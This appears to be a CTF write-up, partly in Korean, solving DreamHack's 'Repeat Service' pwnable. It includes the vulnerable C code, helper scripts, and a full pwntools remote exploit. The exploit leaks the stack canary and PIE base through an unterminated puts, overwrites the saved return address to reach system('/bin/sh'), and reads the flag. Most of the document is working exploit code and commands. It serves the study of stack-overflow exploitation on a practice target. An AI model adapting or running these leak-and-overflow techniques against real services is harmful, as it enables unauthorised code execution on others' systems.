[🥉 Bronze 1] puts 한 줄로 PIE·카나리를 다 흘리기 — DreamHack Repeat Service 풀이

file extracted/deploy/main; python3 chk.py

# chk.py — pwntools 로 보호기법을 뽑는다
from pwn import ELF
e = ELF('./extracted/deploy/main')

cat extracted/main.c

char inp[80] = {0};
char buf[1000] = {0};
// ...
int len = read(STDIN_FILENO, inp, 80);      // len <= 80
if (len == 0) break;
if (inp[len - 1] == '\n') { inp[len - 1] = 0; len--; }
 
int target_len = 0;
scanf("%d", &target_len);
if (target_len > 1000) { puts("Too long :("); break; }   // (1)
 
int count = 0;
while (count < target_len) {
    memcpy(buf + count, inp, len);          // (2) 마지막 청크가 경계를 넘긴다
    count += len;
}
printf("%s\n", buf);                         // (3) 컴파일되면 puts(buf)

objdump -d -M intel extracted/deploy/main | sed -n "/1436:/,/1498:/p"

gdb -q -batch -x stack.gdb --args extracted/deploy/main < feed.in 2>&1 | grep -E "buf |buf\+|ret is"

python3 reach.py

# reach.py — 각 타깃 오프셋에 puts 채움 경계 N 을 정확히 맞출 수 있는 len (80 이하)
def valid_lens(off):
    return [l for l in range(2, 81) if off % l == 0 and off - l <= 999]
rows = [
    ('canary   leak via buf+1001', 1001, '13*77'),
    ('saved RIP (libc)  buf+1016', 1016, '8*127'),
    ('main ptr (socat)  buf+1032', 1032, '24*43'),
    ('main ptr (local)  buf+1048', 1048, '8*131'),
]
for name, off, fac in rows:
    ls = valid_lens(off)
    tag = ('len=' + ','.join(map(str, ls))) if ls else '(none) -> puts cannot stop here'
    print(f'{name}  = {fac:>7}   {tag}')

python3 canary_probe.py

# leak_probe.py — socat 런타임에서 main 포인터(PIE+0x128a)가 buf+1032 에 스필됨을 확인
from pwn import *
context.log_level = 'error'
def leak():
    r = remote('127.0.0.1', 5000)
    r.recvuntil(b'Pattern: ')
    r.send(bytes([0x41 + (i % 26) for i in range(43)]))   # len=43 -> fill up to buf+1032
    r.recvuntil(b'Target length: '); r.sendline(b'990')
    blob = r.recvuntil(b'Pattern: '); r.close()
    body = blob[:-len(b'Pattern: ')][:-1]                 # buf content up to first NUL
    return u64(body[1032:1038].ljust(8, b'\x00'))
for _ in range(6):
    v = leak(); base = v - 0x128a
    print(f'leak@buf+1032 = {hex(v)}   PIE base = {hex(base)}   page-aligned={(base & 0xfff)==0}')

python3 leak_probe.py

python3 solve.py 127.0.0.1 5000

#!/usr/bin/env python3
# Repeat Service (DreamHack, Bronze 1, pwnable) — full remote exploit
#
# bug: the memcpy repeat loop
#        while (count < target_len) { memcpy(buf + count, inp, len); count += len; }
#      with target_len<=1000 and len<=80 lets the final chunk run past buf[1000],
#      reaching up to buf+1065 — enough to overwrite canary, saved rbp, saved RIP (buf+1016).
#
# mitigations: PIE + stack canary + NX + Full RELRO.  win() = system("/bin/sh") @ PIE+0x1270.
#
# puts(buf) prints up to the first NUL, leaking whatever sits right past the filled region:
#   * canary : len=77 -> fill boundary N=1001 -> puts spills canary[1..7] (byte0 is the NUL)
#   * PIE    : under the socat runtime main (PIE+0x128a) is spilled at buf+1032 (= rbp+0x18);
#              1032 = 24*43 is a reachable fill boundary (len=43) -> leak it
#
# return path: the loop leaves on EOF OR on the "Too long :(" break (target_len>1000).
#              we use the latter so /bin/sh keeps a live stdin (EOF would close it).
from pwn import *
import sys
context.binary = './extracted/deploy/main'
context.log_level = 'info'
 
HOST = sys.argv[1] if len(sys.argv) > 1 else '127.0.0.1'
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 5000
 
r = remote(HOST, PORT)
r.recvuntil(b'Pattern: ')
 
def rnd(pat, target):
    """one loop iteration; returns the printed buf content (NUL-terminated string)."""
    r.send(pat)
    r.recvuntil(b'Target length: ')
    r.sendline(str(target).encode())
    blob = r.recvuntil(b'Pattern: ')
    assert blob.endswith(b'Pattern: ')
    body = blob[:-len(b'Pattern: ')]
    assert body.endswith(b'\n')
    return body[:-1]                       # buf content up to (not incl) the first NUL
 
# round 1: leak canary (len=77 -> N=1001 -> canary[1..7] follow the fill)
b1 = rnd(bytes([0x41 + (i % 26) for i in range(77)]), 1000)
canary = u64(b'\x00' + b1[1001:1008])
log.info('canary   = %#018x', canary)
 
# round 2: leak PIE base (len=43 -> N=1032 -> main pointer at rbp+0x18)
b2 = rnd(bytes([0x41 + (i % 26) for i in range(43)]), 990)
pie = u64(b2[1032:1038].ljust(8, b'\x00')) - 0x128a
log.info('pie base = %#018x', pie)
assert pie & 0xfff == 0 and pie >> 44, 'PIE leak looks wrong'
win = pie + 0x1270
ret = pie + 0x101a                          # alignment ret gadget
 
# round 3: overflow (len=80 -> last chunk [960,1040); buf[1000]=inp[40])
pay = bytearray(b'B' * 80)
pay[40:48] = p64(canary)                    # buf+1000 canary
pay[48:56] = p64(0)                         # buf+1008 saved rbp (unused)
pay[56:64] = p64(ret)                       # buf+1016 -> ret gadget
pay[64:72] = p64(win)                       # buf+1024 -> win -> system("/bin/sh")
assert pay[79] != 0x0a
rnd(bytes(pay), 1000)
 
# round 4: target_len>1000 -> "Too long :(" -> break -> return -> win, stdin stays open
r.send(b'A')
r.recvuntil(b'Target length: ')
r.sendline(b'1001')
 
r.sendline(b'echo PWNED; id; cat /flag 2>/dev/null; cat flag 2>/dev/null')
if args.I:
    r.interactive()
else:
    r.sendline(b'echo DONE_MARKER_777')
    try:
        data = r.recvuntil(b'DONE_MARKER_777', timeout=6)
        print('\n==== shell output ====')
        print(data.decode(errors='replace'))
    except Exception as e:
        print('shell did not respond:', e, r.clean(1))

python3 solve.py host3.dreamhack.games 19797